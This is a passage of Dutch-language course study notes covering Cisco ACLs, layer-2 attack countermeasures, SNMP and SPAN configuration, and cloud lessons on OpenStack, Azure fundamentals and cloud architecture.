  • FTP gebruikt TCP 20 en 21, dus twee ACE's (eq ftp en eq ftp-data). Zonder minstens één permit blokkeert een ACL al het verkeer op die interface.
  • Benoemd: ip access-list extended SURFING (laat 192.168.10.0/24 naar poort 80 en 443) en BROWSING (laat de antwoorden terug).
  • Bewerken: methode 1 = kopiëren naar een teksteditor, ACL verwijderen, aangepast terugplakken; methode 2 = sequence numbers: in ip access-list extended <naam|nummer> een regel verwijderen (no 10) of invoegen (15 permit …).
  • show access-lists toont extended ACE's in de ingevoerde volgorde (geen hashing zoals bij standaard ACL's).

IPv6-ACL's

  • Bij IPv6 is er maar één type, vergelijkbaar met een IPv4 extended named ACL; er zijn geen genummerde. Een IPv4- en een IPv6-ACL mogen niet dezelfde naam hebben.
  • Drie verschillen met IPv4:
    1. Toepassen met ipv6 traffic-filter <naam> in|out.
    2. Geen wildcard masks, maar een prefix-lengte (/64).
    3. Aan het eind staan twee impliciete permits voor Neighbor Discovery, vóór de impliciete deny: permit icmp any any nd-na, permit icmp any any nd-ns, deny ipv6 any any. ND doet bij IPv6 wat ARP bij IPv4 doet.
R1(config)# ipv6 access-list NO-R3-LAN-ACCESS
R1(config-ipv6-acl)# deny ipv6 2001:db8:cafe:30::/64 any
R1(config-ipv6-acl)# permit ipv6 any any
R1(config)# interface s0/0/0
R1(config-if)# ipv6 traffic-filter NO-R3-LAN-ACCESS in

Verwijderen: no ipv6 traffic-filter op de interface, dan no ipv6 access-list. Op VTY-lijnen gebruiken IPv4 en IPv6 allebei access-class (v6: ipv6 access-class). Controleren: show ipv6 interface, show access-lists (IPv6-sequence-nummers staan áchter de ACE).

Hoe een router een ACL verwerkt

  • Inbound: frame komt binnen → is er een inbound ACL? → testen tegen de ACE's → bij permit pas daarna de routingtabel raadplegen.
  • Outbound: eerst de routingtabel (is het pakket routeerbaar?) → is de uitgaande interface aan een ACL gekoppeld? → testen → permit of deny → encapsuleren en versturen.
  • Standaard ACL kijkt alleen naar het bron-IPv4-adres. Extended ACL filtert op bron, poort en protocol, en bestemming en poort, en beslist dan.

Typische fouten (troubleshootingvoorbeelden):

SymptoomOorzaakOplossing
Host 192.168.10.10 kan niet telnetten, terwijl regel 20 dat toestaatRegel 10 denyt de host al; regel 20 wordt nooit bereiktRegels 10 en 20 omdraaien
TFTP werkt nietDe ACL staat alleen permit tcp any any toe; TFTP is UDPpermit ip any any
Telnet wordt niet geblokkeerdDe poort staat bij de bron (… 192.168.11.0 0.0.0.255 eq telnet …) in plaats van bij de bestemmingdeny tcp 192.168.11.0 0.0.0.255 192.168.30.0 0.0.0.255 eq telnet
Host kan nog telnettenDe deny verwijst naar het IP van de routerinterface in plaats van de hostHet juiste hostadres gebruiken
Geen matches op de denyACL in de verkeerde richting toegepastBijv. outbound in plaats van inbound
IPv6-ACL werkt niet op het verkeerde puntACL niet dicht bij de bron geplaatstACL op de router bij de bron zetten

LAN-aanvallen (laag 2)

Routers, firewalls, IPS'en en VPN's beschermen laag 3 tot 7, maar laag 2 moet ook beschermd worden.

AanvalWatTegenmaatregel
CDP-reconnaissanceCDP (Cisco, standaard aan) verklapt apparaatinformatieno cdp run (globaal) of no cdp enable (per poort); CDP alleen op geselecteerde poorten
Telnet-aanvallenBrute force op het wachtwoord, of Telnet-DoS (verbindingen blijven aanvragen)SSH, sterke en vaak gewijzigde wachtwoorden, ACL op de VTY-lijnen, AAA met TACACS+ of RADIUS
MAC-address-table-floodingValse bron-MAC's tot de tabel vol is; de switch gaat in fail-open en broadcast alle frames, zodat de aanvaller meekijktPort security
VLAN-aanval (switch spoofing)Host doet zich voor als switch en trunkt via 802.1Q en DTPAccess-poorten expliciet instellen, auto-trunking uit (switchport nonegotiate), trunks handmatig, ongebruikte poorten uit en in een black-hole-VLAN, native VLAN niet 1, port security
DHCP-spoofingValse DHCP-server deelt adressen (en een valse gateway) uitDHCP snooping
DHCP-starvationServer overspoelen met nep-requests tot alle adressen op zijn (DoS)DHCP snooping, port security
  • DHCP snooping kent trusted poorten (alleen naar de echte DHCP-server, upstream) en untrusted poorten (naar hosts, die geen DHCP-servermessages mogen sturen). Werkt met de DHCP Snooping Binding Database en rate limits.
  • IP Source Guard (IPSG) voorkomt MAC- en IP-spoofing. Dynamic ARP Inspection (DAI) voorkomt ARP-spoofing en -poisoning. Port security voorkomt o.a. MAC-flooding en DHCP-starvation: statische MAC's, of een beperkt aantal dynamisch geleerde; bij overschrijding een security violation.
  • Best practices: veilige protocolvarianten (SSH, SCP, SSL), sterke wachtwoorden, een aparte management-VLAN, ACL's.
  • AAA: lokaal (de router controleert met zijn eigen database) of server-based (een AAA-server via TACACS+ of RADIUS).
  • IEEE 802.1X: poortgebaseerde toegangscontrole. Een authenticatieserver controleert elk werkstation voordat de switchpoort diensten doorlaat. Rollen: supplicant (client), authenticator (switch), authentication server.

SNMP

Met Simple Network Management Protocol monitor en beheer je netwerkapparaten. Drie elementen:

  • SNMP manager (op de NMS): haalt informatie op met get en wijzigt configuratie met set.
  • SNMP agent (op het beheerde apparaat): verzamelt en bewaart de informatie.
  • MIB (Management Information Base): de opgeslagen data en statistieken. Elke variabele is een OID (object ID) in een boomstructuur; Cisco heeft eigen private takken. CPU-gebruik kun je met snmpget periodiek ophalen en in een grafiek zetten.
  • De NMS pollt de agents periodiek met get-requests. Traps zijn ongevraagde berichten van de agent naar de manager bij een gebeurtenis (bijv. linkstatus of mislukte authenticatie), zodat je niet hoeft te wachten tot de volgende poll.
  • Versies: v1, v2c en v3 (de cursus gaat over 2c en 3). v1 en v2c gebruiken community strings: ro (alleen lezen) en rw (lezen en schrijven). Die gaan in plain text over de lijn.
  • SNMPv3 geeft: message integrity en authenticatie, encryptie en access control. Daarom aanbevolen.
R1(config)# snmp-server community batonaug ro SNMP_ACL   ! community + ACL op de NMS
R1(config)# snmp-server location NOC_SNMP_MANAGER
R1(config)# snmp-server contact Wessel
! SNMPv3: ACL → view → group → user
R1(config)# ip access-list standard PERMIT-ADMIN
R1(config-std-nacl)# permit 192.168.1.0 0.0.0.255
R1(config)# snmp-server view SNMP-RO iso included
R1(config)# snmp-server group ADMIN v3 priv read SNMP-RO access PERMIT-ADMIN
R1(config)# snmp-server user BOB ADMIN v3 auth sha cisco12345 priv aes 128 cisco54321

Controleren: show snmp en show snmp community. Traps kun je bijvoorbeeld in Kiwi Syslog Server bekijken. Best practices: sterke, vaak gewijzigde community strings, ACL's om SNMP te beperken, liefst v3.

AchtergrondSNMP gebruikt UDP 161 (get/set naar de agent) en UDP 162 (traps naar de manager). SNMPv3-niveaus: noAuthNoPriv, authNoPriv en authPriv (auth + encryptie).

SPAN (port mirroring)

  • Met port mirroring kopieert een switch de frames van bepaalde poorten naar een bestemmingspoort met een packet analyzer. Cisco noemt dit SPAN (Switched Port Analyzer).
  • Gebruik: packet analyzers zoals Wireshark (troubleshooting, trage applicatie, kapotte NIC vinden) en IDS/IPS.
  • Local SPAN: bron en bestemming op dezelfde switch. Een SPAN-sessie koppelt bronpoorten (of VLAN's) aan een bestemmingspoort. Regels: een bestemmingspoort kan geen bron zijn en andersom; het aantal bestemmingspoorten hangt van het platform af; de bestemmingspoort is geen normale switchpoort meer (alleen gemonitord verkeer).
  • Remote SPAN (RSPAN): bron en bestemming op verschillende switches. Twee sessies; het verkeer gaat over trunks in een speciaal RSPAN-VLAN.
S1(config)# monitor session 1 source interface f0/1
S1(config)# monitor session 1 destination interface f0/2
S1# show monitor

Vak 03 · 6 lessen

Cloud (CLIM)

Cloud Infrastructure and Management. De toets haalt de vragen uit het werkboek, de presentaties, de notities onder elke dia, het boek Architecting the Cloud (Kavis) en Canvas, maar niet uit de resource directory. Per les staat in het werkboek wat je moet kennen; dat staat hieronder bij elke les.

S3Les 1 · Cloud introduction en OpenStack (install)

Exam material: de presentatie, kunnen installeren met packstack (werkende cirros-VM's, floating IP, internet vanaf de VM, Horizon), de answer file van packstack begrijpen, en het boek hoofdstuk 1, 2, 3 en 5.

Wat is er nieuw aan cloud?

Cloud computing combineert het beste van het mainframetijdperk, het client-servertijdperk (pc) en het internettijdperk. Echt nieuw zijn: schalen, het pay-as-you-go-betaalmodel, snelheden die nooit eerder haalbaar waren, en gebruiksgemak.

  • Instagram: gelanceerd in oktober 2010, 25.000 gebruikers op dag 1, na drie maanden 1 miljoen; in april 2012 voor 1 miljard dollar gekocht door Facebook, met 13 medewerkers. Voor start-ups is de cloud een no-brainer: in een eigen datacenter had dit niet gekund.
  • Obama-campagne: zes maanden, met een enorme piek in de laatste dagen. Cloud in elk servicemodel (SaaS, PaaS, IaaS); fondsenwervingsplatform van 1 miljard dollar; belapplicatie tot 7.000 gelijktijdige gebruikers. Totale kosten 1,5 miljoen dollar: 1 miljoen voor een on-premise hostingbedrijf, 0,5 miljoen voor 200 applicaties in de cloud.

Servicemodellen (NIST)

ModelNIST-definitie in het kortKlant beheert
SaaS — Software as a ServiceDe applicaties van de provider gebruiken op cloudinfrastructuur, bereikbaar vanaf allerlei clients.Bijna niets: hooguit beperkte gebruikersinstellingen van de applicatie.
PaaS — Platform as a ServiceEigen (of gekochte) applicaties uitrollen, gemaakt met talen, libraries, services en tools die de provider ondersteunt.De applicaties en de configuratie van de omgeving; niet het OS of de infrastructuur.
IaaS — Infrastructure as a ServiceProcessing, storage, netwerken en andere basisresources; je kunt elke software draaien, ook het OS.OS, storage, applicaties en eventueel wat netwerkonderdelen (firewall, load balancer, VPN). Niet de onderliggende infrastructuur.

Daarnaast veel marketing: DaaS (Desktop), CaaS (Communication), MaaS (Metal of Monitoring), XaaS (Anything as a Service). Mature PaaS-oplossingen bieden kant-en-klaar database, logging, monitoring, security, caching, analytics, payment en mail (Azure App Services, Google App Engine, AWS Elastic Beanstalk).

De cloudstack (Kavis, figuur 2.1): vier lagen met de verantwoordelijkheid per model.

LaagOnderdelenIaaSPaaSSaaS
UserLogin, registratie, administratieKlantKlantKlant
ApplicationAuthenticatie, autorisatie, UI, transacties, rapporten, dashboardKlantKlantVendor
Application stackOS, programmeertaal, app-server, middleware, database, monitoringKlantVendorVendor
InfrastructureDatacenter, servers, netwerk, disk storage, firewall, load balancerVendorVendorVendor

Deploymentmodellen

  • Public cloud: multitenant, je betaalt voor gebruik van een gedeeld grid, je weet niet precies waar je data staat, een abstractielaag met API's bovenop de hardware, een grote pool resources gedeeld door velen.
    • Voordelen: betalen naar verbruik, elasticiteit (dynamisch op- en afschalen), focus op je eigen kerncompetentie.
    • Nadelen: minder controle over SLA's (performance, uptime), regelgeving (privacy), beperkte configuratiemogelijkheden.
  • Private cloud: voor exclusief gebruik door één organisatie (met meerdere afnemers, zoals afdelingen). Eigendom en beheer bij de organisatie, een derde of een combinatie; on of off premises. Bijvoorbeeld OpenStack of Azure Stack.
  • Hybrid cloud: twee of meer cloudinfrastructuren die aparte entiteiten blijven, maar zo gekoppeld zijn dat data en applicaties kunnen worden verplaatst. Best practice: public voor elasticiteit en resource pooling, private waar risico's liggen rond data-eigendom en privacy.
  • Multicloud: meerdere cloud- en storagediensten in één architectuur. Hybrid multicloud combineert beide.

De vijf essentiële kenmerken (NIST)

KenmerkBetekenis
Broad network accessBeschikbaar via het netwerk, voor allerlei thin en thick clients (telefoon, tablet, pc).
Rapid elasticityCapaciteit snel en soms automatisch erbij en eraf ("outward and inward"); voor de klant lijkt het onbeperkt.
On-demand self-serviceDe klant regelt zelf rekentijd en storage, zonder menselijke interactie met de provider.
Resource poolingDe resources van de provider worden gedeeld door meerdere klanten (multi-tenant), dynamisch toegewezen naar vraag. Storage, processing, geheugen, bandbreedte.
Measured serviceGebruik wordt gemeten, gecontroleerd en gerapporteerd: transparant voor provider en klant, pay-per-use.
Toetsval"Waarom is dit geen cloudoplossing?" Een gewone gevirtualiseerde server (VMware Workstation) of een klassieke hostingprovider mist kenmerken zoals on-demand self-service, rapid elasticity en measured service. Virtualisatie is een technologie onder de cloud, niet de cloud zelf.

Schalen: horizontaal = scale out/in (meer of minder machines, goedkope hardware); verticaal = scale up/down (meer resources aan dezelfde machine).

Drivers en valkuilen

  • Business drivers: capacity planning, kostenreductie, organizational agility. Technologische innovaties: clustering (redundantie/failover is de kern van cloud), grid computing (losjes gekoppeld, geografisch verspreid), virtualisatie.
  • Worst practices: bestaande applicaties migreren is lastig, want software heeft vaak een tightly coupled architectuur, schaalt traditioneel alleen verticaal, en een clouddienst hoort stateless te zijn (de state bij de client).
  • Rekenvoorbeeld migratie: huidige server 3000 dollar plus 800 dollar onderhoud per jaar; in de cloud 0,50 dollar per uur = 0,50 × 24 × 365 = 4380 dollar per jaar. Oplossing: niets doen, of vervangen door een SaaS-equivalent. Een VM 1-op-1 verhuizen is dus niet automatisch goedkoper.
  • Best practices: applicatie stateless waar mogelijk; ontwerpen met kosten in gedachten; beschikbaar met cross-region-redundantie; toegang tot je data buiten de provider (tegen vendor lock-in); klein en met laag risico beginnen; nieuwe skills leren (zoals REST); elke rekening bestuderen om een "billshock" te voorkomen.
  • Bij een public cloud met creditcard: budgetten maken, monitoring en alerts, accounts beveiligen (MFA), VM's uitzetten en resources verwijderen in alle regio's. Zonder creditcard: Azure for Students of AWS Academy Learner Lab (beperkt budget; ben je erdoorheen, dan verlies je de omgeving).

OpenStack

  • Gratis en open-source cloudplatform, meestal ingezet als IaaS. Beheert grote pools compute, storage en netwerk in een datacenter, via een dashboard of de OpenStack-API.
  • Begonnen in 2010 als project van Rackspace en NASA; sinds 2016 beheerd door de OpenStack Foundation (non-profit).
ComponentFunctie
NovaCompute: de instances (VM's) draaien
NeutronNetworking: netwerken, routers, floating IP's
GlanceImages voor de VM's
CinderBlock storage (volumes)
SwiftObject storage
KeystoneIdentity: authenticatie en de service-catalogus
HorizonHet webdashboard
HeatOrchestration (templates)
CeilometerTelemetry/metering
MariaDBDe database achter de diensten

Op de lab-VM (all-in-one) staan na de installatie: Neutron, MariaDB, Glance, Cinder, Nova, Horizon, Swift, Ceilometer, Client, LBaaS en Heat.

Installatie met RDO Packstack

  • RDO = RPM Distribution of OpenStack, een community-distributie van OpenStack die Red Hat in 2013 begon. Packstack installeert OpenStack met Puppet, op basis van een answer file met antwoorden op alle installatievragen.
  • Een single node heeft veel geheugen nodig (VM met 11 GB; ~7 GB in gebruik). Maak genoeg snapshots (CleanInstall, PackStackInstalled, …).
  • Voorbereiding op Rocky 9: vast IP (192.168.37.100), SELinux uit/permissive, firewalld en NetworkManager uit, de klassieke network-service aan, repository voor OpenStack (caracal), openstack-packstack installeren.
packstack --allinone --provision-demo=n \
  --os-neutron-ovn-bridge-mappings=extnet:br-ex \
  --os-neutron-ovn-bridge-interfaces=br-ex:ens160 \
  --cinder-volumes-size=50G
source keystonerc_admin        # admin-credentials laden, in elke nieuwe sessie opnieuw
ovs-vsctl show                 # zit ens160 nog in de bridge br-ex?
  • Het wachtwoord van de admin voor Horizon (http://<ip>/dashboard) staat in keystonerc_admin.
  • Netwerk: elke instance heeft een privé, vast (fixed) IP en kan daarnaast een publiek, floating IP krijgen. In het lab: een public netwerk (flat, extnet, external, geen DHCP, een pool buiten de DHCP-scope van VMware) en een private netwerk (10.1.0.0/24 met DHCP), verbonden door een router. Voor verkeer van buiten koppel je een floating IP aan de instance.
  • De default security group staat uitgaand alles toe en inkomend alleen verkeer van VM's in dezelfde security group. Daarom voeg je regels toe voor ICMP en SSH vanaf 0.0.0.0/0.
  • De eerste VM gebruikt het piepkleine Cirros-image (Glance, qcow2). Resultaat: public en private netwerk, twee cirros-VM's, floating IP, security group, ping vanaf de VM naar internet en SSH vanaf de host naar de VM.

S3Les 2 · Infrastructure as a Service en OpenStack (configure)

Exam material: de presentatie, OpenStack kunnen configureren en de commando's in het algemeen begrijpen, en het boek hoofdstuk 1, 2, 3 en 5.

IaaS: wanneer en waarom

NIST: de klant krijgt processing, storage, netwerken en andere basisresources, kan willekeurige software draaien (ook het OS), beheert de onderliggende infrastructuur niet, maar wel het OS, storage, applicaties en soms netwerkonderdelen (firewall, load balancer, VPN).

Wanneer IaaS?

  • Als de applicatie eisen heeft waarvoor je geheugen moet beheren, databases moet configureren of het OS moet aanpassen.
  • Kosten: PaaS met pay-as-you-go kan extreem duur worden.
  • Risico op downtime verkleinen: wereldwijde redundantie kun je niet zelf bouwen.

Vijf categorieën overwegingen:

CategorieWaar je aan denkt
TechnicalPerformance, schaalbaarheid, security, regelgeving, business continuity, disaster recovery. Voor de zwaarste toepassingen (Twitter, Facebook, Pinterest) kan PaaS de performance/schaal niet leveren.
FinancialKijk naar de TCO: ook het herschrijven van legacy, training van medewerkers en consultants, tools.
StrategicSaaS/PaaS = snellere time-to-market; IaaS = meer controle over de infrastructuur; integratie met de supply chain van partners.
OrganizationZijn er genoeg skills in het team?
RiskPrivacy en data-eigendom: kan de data met een bevel in beslag worden genomen?

Providers en markt

  • Microsoft Azure (public, 2010; Azure Stack Edge/HCI voor private; samen hybrid), Amazon AWS (public, 2006), Google Cloud (public, 2008), OpenStack (public, private, hybrid), Rackspace, Alibaba Cloud ("new kid on the block"). In Nederland: 128 bedrijven in de Dutch Cloud Community.
  • AWS is de onbetwiste marktleider. De top drie had in Q3 2024 samen 63% van de cloudbestedingen.
  • Trends 2024: clouddatacenters gebruiken 3% van de wereldwijde energie; 90% van de grote bedrijven is multi-cloud; 82% gebruikt een hybrid model; 60% van de bedrijfsdata staat in de cloud.
  • Vergelijkingscriteria: prijs (gebruik de calculators), security en compliance (encryptie, regio), architectuur (bijv. archivering), beheerbaarheid (containerorchestratie, storage gateway, configuratiemanagement zoals Puppet/SaltStack, API's REST/SOAP).
  • Een VM-grootte heet een flavor (Azure: VM-size, AWS: instance type; EC2 Compute Unit, EBS als persistente blockstorage die binnen de Availability Zone wordt gerepliceerd).

Provisioning

  • Azure: Portal (webbrowser; als het om weinig resources gaat), Azure PowerShell, Azure CLI (cross-platform; handig als je verschillende platformen gebruikt) en Cloud Shell (in de browser).
  • De meeste bedrijven willen een hybrid cloud waarin public IaaS samenwerkt met private cloud.
  • Terraform: tool om infrastructuur te bouwen, wijzigen en versioneren, voor verschillende providers en eigen oplossingen; van low-level (compute, storage, netwerk) tot high-level (DNS, SaaS). Komt terug in les 11.

Flavors en vCPU's

  • Socket: de processorvoet op het moederbord. Physical CPU: de hardware in de socket.
  • Core: een echte processorkern met eigen circuits en L1/L2-cache.
  • Logical processor: met hyper-threading ziet het OS één core als twee logische CPU's die de uitvoerresources delen. Sneller als één thread wacht, maar lang niet zo goed als echte extra cores. Een thread is het uitvoeren van één stroom instructies.
  • vCPU: geen 1-op-1-toewijzing, maar een representatie van tijd op de fysieke CPU. Vuistregel (Hyper-V): één fysieke core kan veilig 8 virtuele processors dragen.
# rekenvoorbeeld uit de dia
Intel Xeon E5-2650 v2:  16 cores × 8 = 128 vCPU's
met 4 vCPU per VM:      128 / 4     = 32 VM's

# 4 CPU's met elk 4 cores en hyper-threading
VMware ziet 4 fysieke CPU's met elk 8 (logische) cores

Storage in OpenStack

SoortDienstKenmerk
Block storageCinderVolumes die blijven bestaan als de instance wordt verwijderd (persistent). Een volume hangt aan één instance tegelijk, maar je kunt het loskoppelen en aan een andere hangen. Vergelijk met een USB-stick.
Object storageSwiftObjecten (bestanden) via een API.
Image storageGlanceImages zijn immutable; OpenStack behandelt ze als binaire blobs.
File storageManilaGedeelde bestandssystemen.
Ephemeral storageNovaDe disks van de VM verdwijnen als de VM wordt verwijderd. Voor cloud-native, kortlevende VM's; op de lokale disk van de compute node.

Een volume maken in Cinder: cinder create maakt een LV in de volumegroep cinder-volumes. nova volume-attach maakt een uniek iSCSI IQN aan voor de compute node; die krijgt een iSCSI-sessie en nieuwe lokale storage (/dev/sdX), en libvirt geeft dat aan de instance als nieuwe disk (/dev/vdX). De Cinder-scheduler kiest de juiste volumeservice; diensten praten met elkaar via een berichtenbus (AMQP).

Elke instance heeft minstens één root disk (bootloader en OS), plus eventueel een ephemeral disk uit de flavor. De root disk komt uit een Glance-image (gekopieerd naar de hypervisor) of uit een persistent Cinder-volume.

Image-formaten

FormaatWat
ISOArchiefformaat voor een optische schijf (cd-rom).
QCOW2QEMU Copy-On-Write v2. Standaard bij KVM; sparse, dus kleiner. Advies in het lab.
RAWOngestructureerd disk-image; KVM en Xen.
VDIVirtualBox.
VHDMicrosoft Hyper-V (Virtual Hard Disk).
VMDKVMware.
OVF / OVAOpen Virtualization Format: een map met meerdere bestanden (.ovf-beschrijving, .mf-manifest, .vmdk/.vhd). OVA is diezelfde inhoud als één (tar-)bestand.

OpenStack op de commandline

TaakCommando
Eerst doen, tegen authenticatiefoutensource keystonerc_admin
Draaiende instances tonennova list --host packstack.openstack.local
Alle netwerken met idopenstack network list
Details van een netwerkopenstack network show <id>
Alle imagesopenstack image list
Consolelog van een instanceopenstack console log show Cirros1
Beschikbare volumesopenstack volume list
Alle "omgevingen" om een server te hosten (flavors)openstack flavor list
Draaiende compute servicesopenstack compute service list
Alle gebruikersopenstack user list
openstack flavor create --ram 128 --disk 1 --vcpus 1 nano2
openstack keypair create mykey > ~/.ssh/myprivkey.pem
chmod 600 ~/.ssh/myprivkey.pem          # anders weigert SSH de sleutel (te open)
openstack server create --flavor <id> --image <id> --security-group <id> \
  --key-name mykey --nic net-id=<private-net-id> myCirrosServer
ssh -i ~/.ssh/myprivkey.pem cirros@<floating-ip>

Sleutels en eigen images

  • SSH-keypairs zijn veiliger dan wachtwoorden. Horizon (of openstack keypair create) geeft je een private key in .pem-formaat; de public key wordt bij het booten in de instance gezet. PuTTY wil .ppk: omzetten met PuTTYgen.
  • Cloud-images (zoals Rocky) bevatten cloud-init voor het injecteren van de SSH-key en user data, en zetten wachtwoord-login vaak uit. Inloggen met de key en het standaardaccount (rocky, fedora, cirros).
  • Zelf een cloud-ready image maken (Fedora in VMware): acpid (zodat de hypervisor kan herstarten/uitzetten), cloud-init (metadata: SSH-key, user data), cloud-utils-growpart (rootpartitie vergroten), NOZEROCONF=yes (anders bereikt de instance de metadataservice niet), consoleoutput via console=ttyS0 in GRUB, en de virtio-drivers in de initramfs (dracut -f) omdat KVM virtio-disks en -netwerk gebruikt. Uploaden als VMDK, of eerst omzetten met qemu-img convert. De flavor moet minstens zo groot zijn als de disk.
  • Nested virtualization werkt niet als Hyper-V aanstaat (bijv. door WSL2); uitzetten met bcdedit /set hypervisorlaunchtype off.

S3Les 3 · Microsoft Azure Fundamentals (AZ-900)

Exam material: de presentatie lezen en de AZ-900-stof van Microsoft bestuderen. Het AZ-900-examen zelf doe je via Certiport (één kans, herkansing in het volgende blok); je badge levert punten op voor de eindopdracht.

Voor deze les staat op deze site al een complete module: AZ-900-uitleg en een oefentoets met 176 vragen. Hieronder alleen de kern van de presentatie, zodat je weet wat er in deze les zat.

De presentatie in het kort

OnderdeelKern
Cloud conceptsCloudmodellen (public, private, hybrid), CapEx vs. OpEx (vooraf investeren vs. doorlopende kosten; cloud = OpEx), cloudvoordelen (high availability, schaalbaarheid, elasticiteit, betrouwbaarheid, voorspelbaarheid, security, governance, beheerbaarheid).
ArchitectuurAzure-accounts en subscriptions; regions, availability zones (fysiek gescheiden datacenters binnen een regio), region pairs, sovereign regions (US Gov, China). Hiërarchie: management groups → subscriptions → resource groups → resources.
Compute en netwerkVM's, VM scale sets (automatisch schalen), availability sets (update- en fault-domains), containers (ACI, AKS), Azure Functions (serverless), App Service; VNets, VPN Gateway (versleuteld over internet) en ExpressRoute (privéverbinding, niet over internet).
StorageStorage accounts, redundantie (LRS, ZRS, GRS, GZRS), diensten (Blob, Files, Queue, Table, Disks), access tiers (hot, cool, cold, archive).
Identity en securityMicrosoft Entra ID (vroeger Azure AD), Entra Domain Services, MFA, External ID (B2B/B2C), Conditional Access (if-then: wil je bij de payroll-app, dan MFA), RBAC, Zero Trust, defense in depth, Microsoft Defender for Cloud.
Beheer en governanceKostenfactoren, Marketplace, Pricing calculator, Cost Management, tags, Azure Policy, resource locks (Delete, ReadOnly), portal/CLI/PowerShell/Cloud Shell, Azure Arc, Azure Resource Manager met ARM-templates en Bicep, Advisor, Service Health, Monitor.

S4Les 4 · Cloud Architecture

Exam material: de presentatie en de notities, de case (Wooden Games) kunnen uitwerken, en het boek hoofdstuk 4 en 13.

Alles begint met architectuur

Zonder een duidelijk beeld van de business- en technische eisen is het risico op (totaal) falen groot, zeker bij complexe architecturen. Bij cloud is een pragmatische aanpak nog belangrijker: de technische complexiteit en het aantal partijen (met hun verantwoordelijkheden) zijn groter. Zorg ook dat alle partijen de architectuur op dezelfde manier interpreteren (de schommel-cartoon).

  • Missie: waar staan we voor (wie zijn wij). Visie: waar gaan we voor (de toekomst).
  • Goals: langetermijndoelen ("go"). Objectives: concrete resultaten die je in een aantal stappen haalt.
  • Enterprise architecture (de hele organisatie) vs. solution architecture (één oplossing). Een goede business architecture laat de touchpoints en businessfuncties zien in het deel van de organisatie dat in scope is.
  • Nieuw systeem (greenfield): nieuw business-architectuurdiagram. Bestaand systeem: huidig diagram, nieuw diagram, en een besluit over afbreken of migreren.

De zes hoofdvragen

VraagFaseWaar het om gaat
WhyIdentify the problem statementWelk probleem lossen we op, wat zijn de business drivers (kosten, groei, service levels)?
WhoEvaluate user characteristicsWie zijn de gebruikers (intern/extern, mensen of systemen), wat hebben ze nodig? Drijft vaak ontwerpkeuzes rond privacy, regelgeving en risico, en is belangrijk voor acceptatie.
WhatIdentify requirementsBusiness- en technische eisen, wettelijke beperkingen, risico's. Levert het (bijna) "perfecte" systeem.
WhereVisualize consumer experienceWaar wordt het gebruikt (devices, touchpoints, omgeving), locatie-eisen (wetten, belasting, taal)? Bijvoorbeeld de USA Patriot Act. Leidt vaak tot bijstellen van de eisen.
When (en with what)Identify the project constraintsOpleverdata, budget, public/private-beperkingen, afhankelijkheden, "kunstmatige" beperkingen zoals interne politiek.
hoWUnderstand current constraintsZijn de skills er, wat is de mindset/cultuur? Organizational change management.

Waarom de beperkingen niet meteen meenemen bij de eisen? Omdat je achteraf moet kunnen laten zien waarom het systeem "minder perfect" is geworden: dan weet iedereen waarom, wat er nog beter kan, en vergeet je minder snel alternatieven. Het is een iteratief proces tot de eisen "frozen" zijn.

ToetsvalEen veelgemaakte fout van technici: meteen naar systeemeisen springen ("het moet in de cloud", "we hebben een app nodig") zonder te vragen waarom. Begin bij het probleem en de business drivers.

Functional en non-functional requirements

  • Functional: beschrijven hoe het systeem moet functioneren: welke data het verwerkt, hoe schermen en workflow werken, wat de output is, wie waar toegang toe heeft, welke regels gelden. Traditioneel goed afgedekt, technologiegedreven.
  • Non-functional: beschrijven hoe de architectuur functioneert. Er is een sterke relatie tussen NFR's en de architectuur.
NFRBetekenis
UsabilityEisen voor eindgebruikers en systemen die het platform gebruiken.
PerformanceReageren op verzoeken; let op latency door redundantie over meerdere datacenters/regio's.
FlexibilityMeebewegen met de business met zo min mogelijk codewijzigingen.
CapabilityBusinessfuncties uitvoeren, nu en in de toekomst.
SecuritySecurity, privacy en compliance.
TraceabilityLogging, auditing, notificaties, eventverwerking.
ReusabilityMate van hergebruik, intern en extern.
IntegrabilityIntegreren met andere systemen en technologieën.
StandardizationTe volgen industriestandaarden.
ScalabilityMeeschalen met de vraag (out/in én up/down).
PortabilityOp verschillende hardware- en softwareplatformen kunnen draaien.
ReliabilityVereiste uptime en SLA's, plus herstelmechanismen.

Architecturen in de cloud

  • Google Cloud: een region is een geografische locatie met een of meer zones (us-central1 met zones -a, -b, -c, -f). Zones zijn onafhankelijk (eigen stroom, koeling, netwerk); de meeste storingen raken één zone. Disks en instances zijn zonale resources (moeten in dezelfde zone zitten), een static IP is regionaal, images zijn globaal.
  • AWS: VPC (logisch geïsoleerd deel van de AWS-cloud), CloudFront (CDN), EFS (gedeelde file storage voor EC2 in meerdere Availability Zones).
  • Azure: 3-tier webapplicatie met een Network Security Group (NSG): regels die verkeer naar resources in een VNet toestaan of weigeren, te koppelen aan subnetten of NIC's.
  • CDN (content delivery network): geografisch verspreide proxyservers zodat gebruikers snel content krijgen.

Vendor lock-in is gevaarlijk en duur; portability geeft vrijheid. Hoe lock-in werkt: een geweldig aanbod voor de eerste configuratie (soms gratis), en unieke features die concurrenten niet hebben (vermijd die dus). Lock-in is niet altijd slecht als beide partijen een win-win zien. Bekende boosdoeners: databaseleveranciers, CRM-leveranciers, maatwerksoftware.

Workload: load balancing, scaling en elasticity

  • Load balancing verdeelt requests over meerdere servers, stuurt alleen naar servers die online zijn, en maakt servers toevoegen/weghalen makkelijk. Hangt samen met performance, availability, scalability, capability, reliability en continuity (active-active).
  • Scaling: het vermogen van een systeem om de workload op de huidige hardware te verhogen of te verlagen (scale up/down).
  • Elasticity: het vermogen om de workload op huidige, extra of minder hardware te verwerken, dynamisch en on demand (scale out/in). Complexer: vraagt vaak dat de applicatie er "bewust" van is. Applicaties met (web)workers en stateless RESTful API's zijn er goed geschikt voor.
  • Denk ook aan afnemende load: Uber dat zijn licentie in Londen kwijtraakte, of een ticketsysteem.

Availability: redundantie en HA-clusters

Redundantie (onderdeel van disaster recovery) wordt meestal gebouwd als high-availability (HA)-cluster: een groep nodes met redundante hardware en HA-software, eventueel verspreid over meerdere datacenters. Plan voor RTO, RPO en disaster mitigation.

ConfiguratieTweede datacenterHerstel
Active-passive coldWeb, API en DB staan uit. Backups (full en incremental) gaan offsite.Traagst: alles opstarten en de backups terugzetten. Goedkoopst.
Active-passive warmWeb en API staan uit (cold), de database draait (hot) en wordt gesynchroniseerd.Sneller: alleen web en API starten.
Active-active hotAlles draait in beide datacenters en wordt gesynchroniseerd.Vrijwel direct. Duurst. Kan ook voor load balancing (meestal in hetzelfde datacenter).
